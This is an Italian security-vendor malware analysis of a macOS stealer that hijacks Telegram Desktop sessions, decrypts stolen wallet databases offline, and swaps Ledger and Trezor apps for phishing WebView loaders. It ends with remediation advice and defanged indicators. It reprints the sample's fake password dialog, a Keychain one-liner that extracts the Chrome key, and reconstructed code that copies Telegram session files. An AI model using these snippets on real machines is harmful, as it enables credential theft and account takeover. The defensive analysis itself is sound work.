TG account compromesso, portafoglio sostituito: come il trojan macOS ha superato le difese?

Il trojan macOS ruba le conversazioni e i dati del portafoglio TG, sostituendo anche il client del portafoglio hardware per attuare un attacco di furto di beni in due fasi.

Articolo a cura del team di sicurezza Slow Mist

Contesto

Recentemente, il sistema di monitoraggio della sicurezza MistEye ha catturato un trojan di furto di dati in esecuzione su macOS. Il team di sicurezza Slow Mist ha immediatamente avviato un'analisi.

Dalla lista di furti, questo campione sembra essere impegnato in una raccolta di dati senza un obiettivo specifico: macOS Keychain, Safari Cookie, Apple Notes, dati locali di Telegram Desktop e database di oltre dieci portafogli digitali sono stati inclusi nell'area obiettivo.

Nell'articolo precedente "Analisi del phishing della comunità Google Sites e del trojan di furto di dati macOS", abbiamo risposto alla domanda "Cosa ruba il trojan?". Tuttavia, la copia dei file non significa che l'account sia stato compromesso, e il furto del database del portafoglio non implica che la frase di recupero sia stata esposta. Pertanto, questo articolo pone ulteriormente la domanda:

Dopo che questi file sono stati rubati, possono davvero trasformarsi in un controllo dell'account e dei beni?

Abbiamo ricreato il percorso lasciato dal campione in un ambiente isolato. Prima abbiamo ripristinato il file di conversazione di Telegram Desktop copiato dal campione su un Mac compatibile con la versione, quindi abbiamo avviato il client.

Non è apparso alcun schermo di login.

Non è stata richiesta l'immissione del numero di telefono, non è stato inviato alcun codice di verifica e non è stata richiesta l'immissione della password di verifica a due fattori di Telegram. Il client ha ripristinato direttamente lo stato originale dell'account e ha iniziato a sincronizzare la cronologia delle chat.

Questo passaggio ha trasformato per la prima volta la catena di attacco da "file statici" a un risultato osservabile: ciò che l'attaccante ha portato via non è stata una configurazione ordinaria, ma un passaporto locale già autenticato.

Successivamente, abbiamo verificato un altro percorso: il database del portafoglio e le password candidate possono confluire in un ambiente offline; il campione cancellerà anche il client del portafoglio originariamente installato dall'utente, sostituendolo con un guscio web remoto mascherato con un nome e un'icona legittimi.

Queste funzionalità apparentemente disperse si sono infine concatenate in una catena di takeover completa:

1. Raccogliere password, materiali di sblocco e stati di login esistenti;
2. Portare via la sessione locale autorizzata di Telegram Desktop;
3. Copiare il database del portafoglio e lo stato dell'estensione del portafoglio del browser;
4. Tentare di decrittare offline nell'ambiente dell'attaccante;
5. Cancellare il portafoglio legittimo, sostituendolo con un'applicazione WebView remota, inducendo l'utente a inviare attivamente la frase di recupero.

Questo articolo si basa sul rapporto di analisi statica del campione principale, sui rapporti di analisi statica di tre pacchetti di sostituzione del portafoglio, sulla logica equivalente ripristinata dagli analisti tramite disassemblaggio e sui materiali ausiliari di LevelDB utilizzati per la verifica forense offline.

Passo 1: Raccogliere password e materiali di sblocco

Le conversazioni di Telegram possono essere ripristinate direttamente non perché l'attaccante abbia violato la password di Telegram. Il database del portafoglio può essere tentato di decrittare, non perché il software del portafoglio non sia crittografato.

Ciò che l'attaccante deve fare per primo è raccogliere il maggior numero possibile di password, materiali di sblocco e stati di login ancora validi. Keychain, database del browser, Apple Notes e finestre di dialogo per password mascherate sono tutti componenti di questo passaggio.

Finestra di dialogo per phishing della password:

Il campione mostrerà una finestra di dialogo per la password mascherata come aggiornamento del connettore API di Google:

set passwen to display dialog "GAPI_Update richiede accesso da amministratore per aggiornare il connettore API di Google. Inserisci la tua password per consentirlo." default answer "" with icon caution buttons {"Continua"} default button "Continua" giving up after 150 with title "Richiesta di Password" with hidden answer text returned of passwen

Non si limita a raccogliere il contenuto della casella di input. Successivamente, il campione utilizza il comando dscl di macOS per verificare se questa password può realmente passare l'autenticazione locale:

dscl . authonly '<nome utente corrente>' '<password candidata>'

In altre parole, il campione cerca di confermare che l'input dell'utente sia la password di accesso locale e non una stringa inserita a caso. Una volta superata la verifica, questa password può essere utilizzata per ulteriori operazioni di elevazione dei privilegi, rimozione delle applicazioni e così via.

Raccolta di credenziali del browser e di Keychain:

Nel frattempo, il campione cerca di leggere la chiave di Chrome Safe Storage da Keychain:

security find-generic-password -ga "Chrome"2>&1 >/dev/null | sed -n 's/^password: "(.*)"/\1/p'

Il risultato viene scritto in un file temporaneo masterpass-chrome. Chrome Safe Storage può essere inteso come una chiave di decrittazione che il browser conserva in macOS Keychain. Con essa, l'attaccante può portare via i dati di accesso crittografati e i cookie di Chrome, analizzandoli ulteriormente nel proprio ambiente.

L'area di raccolta del browser del campione copre i browser basati su Chromium come Chrome, Brave, Edge, Vivaldi, Opera, con file obiettivo che includono Login Data, Cookies, Web Data, formhistory.sqlite, ecc.; per browser come Firefox, si concentrerà su logins.json, key4.db e dati dei cookie.

Il campione cercherà anche di localizzare e raccogliere:

Keychains/login.keychain-db

Group Containers/group.com.apple.notes/NoteStore.sqlite

Se Notes ha effettivamente salvato password, frasi di recupero del portafoglio, codice di accesso di Telegram o codici di ripristino, dipende dalle registrazioni dell'utente stesso. Ma a livello di codice esiste già la capacità di leggere gli account e il contenuto del testo.

Pertanto, ciò che l'attaccante ottiene in questa fase non è una singola password, ma un insieme di materiali che possono integrarsi a vicenda:

• Immissione diretta della password: password di accesso macOS ottenuta dalla finestra di dialogo mascherata;
• Materiali di sblocco: Keychain, Chrome Safe Storage e database crittografati del browser;
• Equivalenti delle credenziali: cookie, contenuti di Notes e dati delle conversazioni e portafogli successivi.

Questi materiali, presi singolarmente, potrebbero non essere sufficienti per prendere il controllo dell'account o del portafoglio, ma preparano le chiavi per i successivi "trasferimenti di sessione" e "decrittazioni offline".

Passo 2: Portare via la sessione di Telegram

Localizzazione della directory della sessione tdata:

Il campione non si rivolge alla versione web o mobile di Telegram, ma al client desktop di Telegram Desktop. Localizzerà:

~/Library/Application Support/Telegram Desktop/tdata/

Qui, tdata può essere semplicemente inteso come un insieme di dati di sessione che Telegram Desktop conserva localmente per mantenere lo stato di accesso.

Il campione copierà i file relativi a chiavi, configurazioni e stati di sessione, tra cui:

• key_datas: relativi alla chiave o configurazione tdata locale;
• <name>s: relativi allo stato della sessione locale;
• <name>/maps: parte della mappatura dei dati della sessione.

Secondo la logica equivalente ripristinata, il campione prima copia key_datas, quindi esplora la directory, cercando file di sessione abbinati e scrivendo i dati correlati nella directory temporanea:

std::string src = app_support + "Telegram Desktop/tdata/";std::string dst = staging + "tg/";

copy_file(src + "key_datas", dst + "key_datas");

std::vector<std::string> names = list_directory_names(src);for (conststd::string& name : names) {if (contains(names, name + "s")) { copy_file(src + name + "s", dst + name + "s"); copy_file(src + name + "/maps", dst + name + "/maps"); }}

Non si tratta di "cercare alcuni nomi di file di Telegram", ma di una chiara catena di copia dei file di sessione. Una volta completata la copia, il flusso principale comprimerà la directory temporanea e la caricherà.

Ripristino della sessione, bypassando il login:

Per verificare i rischi reali di questi file dopo l'esportazione, abbiamo preparato un Telegram Desktop compatibile con la versione in un ambiente isolato (macOS 12.7 / Telegram Desktop 4.16) e abbiamo ripristinato i file chiave rubati dal campione nella posizione corrispondente.

Testare un account di prova non collegato a beni reali, l'account ha attivato la 2FA di Telegram (autenticazione a due fattori), ma non ha attivato il Passcode di Telegram Desktop.

Dopo aver ripristinato il file e avviato il client, il processo di accesso non ha mostrato:

• Non è necessario inserire il numero di telefono;
• Non è necessario il codice di verifica SMS;
• Non è necessaria la password di verifica secondaria di Telegram.

Il client ha ripristinato direttamente lo stato di accesso dell'account originale, iniziando poi a sincronizzare la cronologia delle chat.

Ciò significa che l'attaccante non ha bisogno di una nuova autorizzazione dell'account, ma di una sessione locale ancora valida.

Non ha rubato la password di accesso, ma un "pass" già verificato.

Riutilizzo della sessione vs. violazione della 2FA:

Qui è necessario distinguere tra "bypassare la 2FA" e "riutilizzare una sessione esistente".

La verifica secondaria di Telegram protegge principalmente il processo di autorizzazione di nuovi account. Quando un attaccante ripristina direttamente i materiali di sessione locale già autorizzati, il client non esegue nuovamente il processo completo di autenticazione con numero di telefono, codice di verifica e password di verifica secondaria.

Pertanto, è più accurato dire che l'attaccante ha riutilizzato una sessione locale già autorizzata, quindi non ha riattivato la 2FA. Questo non significa che la password 2FA di Telegram sia stata violata, ma che l'intero processo di riutilizzo non è mai entrato nella fase che richiederebbe la verifica di quella password.

Gli utenti potrebbero non accorgersi immediatamente dell'anomalia:

Nelle condizioni di test attuali, la sessione copiata non si è stabilmente manifestata come un chiaro e indipendente record di autorizzazione di un nuovo dispositivo nella lista dei dispositivi. Ciò significa che, anche se l'utente controlla attivamente i dispositivi connessi, potrebbe non rendersi subito conto che i dati della sessione locale sono stati copiati.

Quando il dispositivo originale e il dispositivo di riproduzione vengono utilizzati in parallelo per un lungo periodo, il server potrebbe invalidare la sessione di uno dei due e richiedere un nuovo accesso. Tuttavia, nei test di accesso brevi e intermittenti, la sessione non è stata immediatamente forzata a terminare.

Il rilevamento delle anomalie da parte del server può ridurre il tempo di vita di alcune sessioni rubate, ma non può sostituire la protezione dei dati tdata locali.

Se Telegram Desktop ha attivato il Passcode, dopo il ripristino della sessione, l'attaccante potrebbe comunque essere richiesto di inserire questa password. Questo può effettivamente aggiungere un ulteriore livello di protezione, ma questo trojan raccoglie anche dati da Keychain, Apple Notes e dal browser. Se l'utente ha mai registrato il Passcode di Telegram in queste posizioni o ha riutilizzato la password tra più applicazioni, questa protezione potrebbe comunque essere superata.

tdata può essere ulteriormente convertito in sessione API:

Oltre ai metodi sopra menzionati, abbiamo anche scoperto che, una volta ottenuto il tdata di Telegram, è possibile combinare opentele, Telethon, AuthKey autorizzato e parametri API del client ufficiale per convertire lo stato di accesso locale in una sessione API Telegram programmabile, utilizzata per leggere conversazioni, messaggi storici e inviare messaggi. I test hanno dimostrato che lo script può utilizzare connessioni brevi e intermittenti, senza dover rimanere online a lungo, riducendo così il rischio di attivare immediatamente un logout anomalo. Poiché si riutilizza l'autorizzazione originale, non si genera un nuovo accesso del dispositivo, e nella lista dei dispositivi connessi non apparirà un nuovo record chiaro e indipendente, rendendo difficile per l'utente rilevare anomalie semplicemente controllando i dispositivi connessi.

Telegram per macOS presenta anch'esso rischi di riutilizzo della sessione:

L'analisi sopra si riferisce a Telegram Desktop (client desktop multipiattaforma basato su Qt). Ma Telegram offre anche un altro client nativo per macOS------Telegram per macOS (versione nativa Swift scaricata tramite App Store o sito ufficiale). I test su questa versione hanno dimostrato che i file di sessione locali possono anch'essi essere copiati e ripristinati direttamente su un altro Mac: senza bisogno di numero di telefono, codice di verifica o password di verifica secondaria per accedere all'account, e nella lista dei dispositivi connessi non apparirà un nuovo record rappresentante il dispositivo di riproduzione.

Inoltre, Telegram per macOS presenta una differenza notevole rispetto a Telegram Desktop in termini di risposta dei meccanismi di sicurezza: quando il server rileva comportamenti di accesso anomali, Telegram per macOS non viene disconnesso forzatamente e non cancella i dati locali come nella versione Desktop. Nei nostri test, anche se il client contrassegnato dal meccanismo di sicurezza non può inviare o ricevere nuovi messaggi, può comunque mantenere aperta l'interfaccia, consentendo all'attaccante di continuare a visualizzare e sfogliare la cronologia delle chat già esistenti. In altre parole, anche se il server ha già reagito, i messaggi storici memorizzati in cache possono ancora essere completamente ripercorsi, senza essere bloccati da una disconnessione forzata.

Ciò significa che, in questo scenario di attacco, il client nativo per macOS non può essere percepito dall'utente attraverso la dimensione "nuovo dispositivo di accesso" e, dopo che il server ha rilevato anomalie, la cronologia delle chat rimane esposta------l'attaccante, sebbene abbia perso la capacità di inviare e ricevere messaggi in tempo reale, può comunque leggere completamente i contenuti storici già memorizzati.

A questo punto, il percorso di Telegram è già chiaro: sia Telegram Desktop che Telegram per macOS, l'attaccante non ha bisogno di accedere nuovamente all'account, ma deve semplicemente spostare una sessione locale già autorizzata dall'ambiente del Mac della vittima al proprio.

Passo 3: Rubare i dati del portafoglio

Le sessioni di Telegram possono essere riutilizzate direttamente, mentre il database del portafoglio è solitamente separato da uno strato di crittografia. La strategia del campione è quella di copiare il maggior numero possibile di dati del portafoglio, lasciando spazio per analisi successive.

Copertura totale di 16 portafogli:

Il campione cercherà 16 portafogli locali o client di gestione portafogli, coprendo portafogli software, client full node di tipo Core e programmi di gestione associati a portafogli hardware:

• Portafogli software: Electrum, Coinomi, Exodus, Atomic, Wasabi, Monero, Electrum LTC, Electron Cash, Guarda, Sparrow;
• Client di tipo Core: Bitcoin Core, Litecoin Core, Dash Core, Dogecoin Core;
• Client di gestione per portafogli hardware: Ledger Live, Trezor Suite.

Le directory dei dati e i formati di database dei diversi portafogli non sono gli stessi, ma la strategia di base adottata dal campione è coerente: localizzare le directory, copiare i database e i file di configurazione del portafoglio, imballarli e trasferirli, continuando l'analisi nell'ambiente dell'attaccante.

Durante la copia, il campione salterà le directory di cache, Code Cache, Crashpad, journals, media, calls e altre directory di rumore, privilegiando i dati dello stato degli account e dei portafogli.

Questo porta a una conseguenza facilmente sottovalutata: anche se i dati del portafoglio sono crittografati, finché il database completo è stato trasferito, l'attaccante può staccarsi dal dispositivo della vittima e tentare ripetutamente di decrittare. La vittima che chiude il portafoglio, disconnette la rete o addirittura elimina il trojan non può recuperare i dati già copiati.

Raccolta delle estensioni del browser:

Oltre ai portafogli desktop, il campione scannerà le directory di configurazione di oltre dieci browser basati su Chromium, tra cui Chrome, Brave, Edge, Vivaldi e Opera.

Esaminerà la directory Default o Profile di ciascun browser, raccogliendo cookie, dati di accesso, dati dei moduli web e dati di archiviazione delle estensioni locali e IndexedDB. Il campione include 223 ID di estensioni correlate ai portafogli, utilizzati per filtrare e copiare l'archiviazione locale delle estensioni di portafogli crittografici.

Questi dati non equivalgono a frasi mnemoniche in chiaro, ma potrebbero contenere Vault del portafoglio, configurazioni degli account, stato di autorizzazione e materiali di accesso al browser, utilizzabili per analisi offline, migrazione di stato e successivi attacchi di phishing mirati.

A questo punto, l'attaccante ha già due categorie di materiali chiave: da un lato il database del portafoglio crittografato, dall'altro i candidati per le password raccolti dal sistema, dal browser e dalle Note. Il passo successivo è vedere se queste due categorie di materiali possono essere unite.

Passo 4: Decrittare il portafoglio offline

Prendendo ad esempio Atomic Wallet:

Scegliamo Atomic Wallet per la riproduzione locale. Il campione copierà la directory di archiviazione locale LevelDB di Atomic Wallet. LevelDB è un formato di database locale comune, in cui il portafoglio memorizza lo stato degli account e i dati sensibili.

I dati in questa directory sono crittografati con AES-256-CBC, la decrittazione richiede la password del portafoglio.

Pertanto, avere un file LevelDB non significa che l'attaccante abbia già ottenuto la frase mnemonica in chiaro. La password del portafoglio rimane una barriera tra il database e i dati sensibili.

Ma questa barriera deve essere osservata all'interno dell'intera catena di attacco.

Tentativi di password da più fonti:

In un ambiente di test isolato (Atomic Wallet 2.70), abbiamo ripristinato i dati LevelDB copiati dal campione e abbiamo utilizzato una serie di password candidate raccolte da Keychain, gestori di password del browser, Apple Notes, ecc., per decrittare.

Alla fine, le password candidate hanno decrittato con successo i dati contenenti materiali di controllo degli asset.

Questo passaggio ha rivelato il punto più pericoloso del campione: l'attaccante non deve necessariamente cercare vulnerabilità di crittografia nel software del portafoglio stesso, né deve tentare password in tempo reale sul computer della vittima.

Deve solo portare via due cose: un database di portafoglio crittografato e un insieme di password che potrebbero appartenere all'utente. Il database è come una cassaforte rimossa, mentre le password candidate sono una serie di chiavi di riserva di origine complessa. L'attaccante può verificare una per una in un ambiente offline senza limiti di tempo.

Trasmissione della chiave privata non è reversibile:

Una volta che la chiave privata, la frase mnemonica o materiali di controllo degli asset equivalenti vengono ripristinati, il rischio non è più limitato a un determinato client di portafoglio. L'attaccante può ripristinare lo stesso gruppo di indirizzi in un altro portafoglio compatibile e ottenere il controllo sugli asset corrispondenti.

A questo punto, modificare la password dell'app, reinstallare il client o persino eliminare i file del portafoglio locale non renderà invalide le chiavi private o le frasi mnemoniche già trasmesse.

Fino a questo punto, il percorso di decrittazione offline dei dati del portafoglio è chiaro. Ma il campione non si è fermato qui: per alcuni obiettivi di alto valore, ha implementato un altro percorso di attacco parallelo.

Passo 5: Sostituzione dell'applicazione del portafoglio

Scarica ZIP malevolo per sostituire l'app:

Nel campione principale, abbiamo scoperto un insieme di operazioni chiaramente diverse da quelle di furto di file ordinari: il trojan scaricherà tre pacchetti ZIP da un server remoto nella directory /tmp, mentre elimina le versioni originali di Ledger Live, Ledger Wallet e Trezor Suite installate dall'utente.

La funzione swap_app() nel campione principale esegue l'intero processo di sostituzione: scarica l'archivio con curl, termina i processi del portafoglio in esecuzione con pkill, quindi elimina l'app originale con rm -rf, elevando i privilegi tramite sudo se necessario, e infine utilizza ditto per estrarre l'archivio in /Applications.

Il pacchetto di sostituzione è solo un caricatore web:

Dai nomi dei file e dalle icone, questi pacchetti ZIP sembrano corrispondere a tre client di portafoglio legittimi. Tuttavia, l'analisi inversa mostra che non implementano funzionalità reali del portafoglio.

Il flusso di esecuzione centrale dei tre programmi di sostituzione è altamente simile: leggono configurazioni nascoste, decrittano il routing remoto con XOR, concatenano l'URL completo, creano un WKWebView abilitato per JavaScript e caricano una pagina remota controllata dall'attaccante.

WKWebView può essere visto come una finestra web incorporata in un'applicazione desktop. Può consentire a una pagina web remota di sovrapporsi all'interfaccia dell'app senza dover apparire come una scheda del browser.

L'analisi statica conferma che il pacchetto di sostituzione ha abilitato JavaScript e la memorizzazione persistente dei dati, ma non sono state trovate implementazioni reali di Ledger o Trezor: nessuna comunicazione USB/HID, nessuna enumerazione dei dispositivi hardware, nessuna derivazione di chiavi BIP39/BIP32, né costruzione di transazioni o firme locali.

In altre parole, questi programmi non sono client di portafoglio modificati, ma caricatori web mascherati con nomi e icone di portafoglio.

Gli indirizzi remoti finali caricati dalle tre applicazioni di sostituzione sono:

Ledger Live e Ledger Wallet puntano entrambi allo stesso routing /ledger, mentre Trezor Suite carica il routing /trezor. La pagina remota significa che l'attaccante può modificare il contenuto della pagina, il testo interattivo e la logica di invio dei dati in qualsiasi momento senza dover ripubblicare l'app locale.

Pagina di phishing dietro l'icona desktop:

Quando l'utente avvia queste applicazioni "portafoglio" sostituite, la pagina remota può fingersi un processo di ripristino, verifica o inizializzazione del portafoglio, guidando l'utente a inserire la frase mnemonica, il PIN, la passphrase o altri materiali di ripristino.

Per gli utenti comuni, questo è più difficile da riconoscere rispetto a una tradizionale pagina di phishing. La pagina non appare in una scheda del browser, ma in un'app desktop installata nella directory /Applications, con un nome e un'icona familiari.

L'utente potrebbe pensare che si tratti di un processo di verifica dopo un aggiornamento del portafoglio, o potrebbe pensare di seguire le istruzioni ufficiali per ripristinare l'account.

Se l'utente invia la frase mnemonica in questa pagina remota, ciò che l'attaccante ottiene non è più un accesso temporaneo a un'app, ma la massima credenziale di controllo degli asset del portafoglio.

La decrittazione offline cerca la frase mnemonica nei dati già esistenti; l'app sostitutiva, invece, induce l'utente a inserire la frase mnemonica. I due percorsi operano in parallelo, senza dipendere l'uno dall'altro.

Panoramica della catena di attacco

Ripensando alla lista di furto iniziale, Keychain, Cookie, Notes, Telegram e file del portafoglio sembrano essere obiettivi indipendenti. Dopo la riproduzione, le loro relazioni diventano chiare:

• Keychain, browser e Notes forniscono password, Passcode e altri materiali di sblocco;
• I cookie di Safari possono fornire sessioni di accesso Web ancora valide;
• I dati tdata di Telegram forniscono sessioni di account già autorizzate;
• Il database del portafoglio fornisce dati crittografati che possono essere portati via, copiati e analizzati offline;
• Le applicazioni Ledger e Trezor sostituite guidano l'utente verso pagine di phishing remote attraverso un altro percorso indipendente.

Ogni modulo visto singolarmente sembra un comportamento di furto comune. Il vero pericolo risiede nel fatto che il campione può combinare questi materiali.

Per Telegram, l'attaccante non sta eludendo la forza della password, ma la ri-autenticazione stessa. Per il portafoglio locale, l'attaccante sfrutta il fatto che i dati crittografati e i materiali di password sono stati rubati simultaneamente. Per Ledger e Trezor, l'attaccante non cerca nemmeno di decifrare i dati esistenti, ma ridefinisce l'"interfaccia fidata" agli occhi dell'utente sostituendo il client.

Ciò di cui l'attaccante ha realmente bisogno non è spesso una singola password, ma sessioni autorizzate, dati crittografati e materiali di sblocco che cadono tutti nelle sue mani.

Riepilogo

Questo trojan non ha rubato solo alcune password o file isolati, ma l'intero insieme di relazioni di fiducia locali che l'utente ha gradualmente costruito su un Mac: sessioni già connesse, password salvate, portafogli crittografati e la fiducia dell'utente nell'applicazione desktop stessa.

Quando queste cose lasciano simultaneamente il dispositivo, dalla fuga di informazioni al takeover dell'account, fino al furto di asset digitali, c'è solo un passo da un successo nella combinazione dei dati.

Attacco a portafoglio a doppio percorso. Il campione ha preparato due percorsi di backup per gli asset del portafoglio: il primo è rubare il database del portafoglio e le password candidate per la decrittazione offline; il secondo è sostituire il client del portafoglio hardware, caricare una pagina remota e indurre l'utente a inviare attivamente la frase mnemonica. I due percorsi operano in parallelo, coprendo rispettivamente il "furto passivo" e l'"induzione attiva".

Riutilizzo della sessione, non cracking della password. L'attaccante copia direttamente i file di sessione locali già autorizzati, ripristinando lo stato di accesso in un nuovo ambiente senza attivare il processo di ri-autenticazione.

Utilizzo combinato di credenziali da più fonti. Il campione non dipende da una singola fonte di password, ma raccoglie password candidate da Keychain, gestori di password del browser, Apple Notes e finestre di dialogo mascherate, aumentando le possibilità di decrittare offline il database del portafoglio.

Raccomandazioni

1. Se si sospetta che l'host possa essere infettato, terminare immediatamente tutte le sessioni Telegram esistenti su un dispositivo fidato, ripristinare uno stato di accesso fidato e modificare la password di verifica a due fattori e il Passcode di Telegram. Modificare solo la password 2FA potrebbe non rendere immediatamente invalide le sessioni locali già copiate.

2. Se il database del portafoglio o i materiali della chiave privata potrebbero essere stati compromessi, generare una nuova frase mnemonica su un dispositivo pulito o un portafoglio hardware fidato, trasferire gli asset il prima possibile su un nuovo indirizzo e smettere di utilizzare la vecchia frase mnemonica. Modificare solo la password dell'app del portafoglio non renderà invalide le chiavi private o le frasi mnemoniche già compromesse.

3. Ruotare tutte le password salvate o riutilizzate in Keychain, Apple Notes e nel browser, prestando particolare attenzione a email, exchange, cloud storage, gestori di password e account social, e disconnettere le sessioni di accesso esistenti in questi servizi.

4. Per i client Ledger o Trezor che potrebbero essere stati eliminati e sostituiti, rimuovere prima le applicazioni sospette, controllare le firme del codice e le fonti di installazione, esaminare gli elementi di persistenza correlati (come LaunchDaemon), quindi ottenere nuovamente il pacchetto di installazione da fonti ufficiali fidate. Se si è inserita la frase mnemonica nell'app sostituita, trattarla immediatamente come se fosse stata compromessa.

5. Per i client Telegram poco utilizzati (come il client Desktop o macOS installato solo su dispositivi specifici ma non aperto per lungo tempo), è consigliabile controllare regolarmente lo stato di accesso o terminare attivamente le sessioni non più necessarie. Poiché questi client hanno una bassa frequenza di utilizzo, anche se le credenziali di accesso vengono rubate e ripristinate nell'ambiente dell'attaccante, è difficile per l'utente rilevare tempestivamente anomalie. Il rilevamento della sicurezza sul server si basa solitamente sulle variazioni nei modelli di comportamento delle sessioni attive; per i client che rimangono silenziosi per lungo tempo, è più difficile identificare automaticamente accessi anomali. Una volta compromesso, l'attaccante potrebbe mantenere un controllo silenzioso su quell'account per lungo tempo, continuando a leggere nuovi messaggi senza attivare alcun allerta.

6. Durante l'uso quotidiano, è consigliabile abilitare il Passcode per Telegram e impostare una password ad alta intensità diversa dalle altre, evitando l'uso di password deboli, per migliorare la protezione delle sessioni locali.

IOC

IP

192[.]253[.]248[.]181

86[.]54[.]25[.]213

URL

http[://192[.]253[.]248[.]181/web/ledger.zip

http[://192[.]253[.]248[.]181/web/ledgerwallet.zip

http[://192[.]253[.]248[.]181/web/trezor.zip

http[://86[.]54[.]25[.]213/ledger?username=night

http[://86[.]54[.]25[.]213/trezor?username=night

http[://86[.]54[.]25[.]213/log

File dannosi

filename: ledger.zip

SHA256: 41d77fef030b8515efb068defed5e15c14fbebd16259253f1f79febd6e12ebcb

filename: ledgerwallet.zip

SHA256: 36f4ae11560ed34f32c927468a09a5370a5fbdcae41660f6e8d9a49330c8d059

filename: trezor.zip

SHA256: 60f33e7b8c6b84839e28c710c8c5a99a718c0b88135653561be8d45f976b794f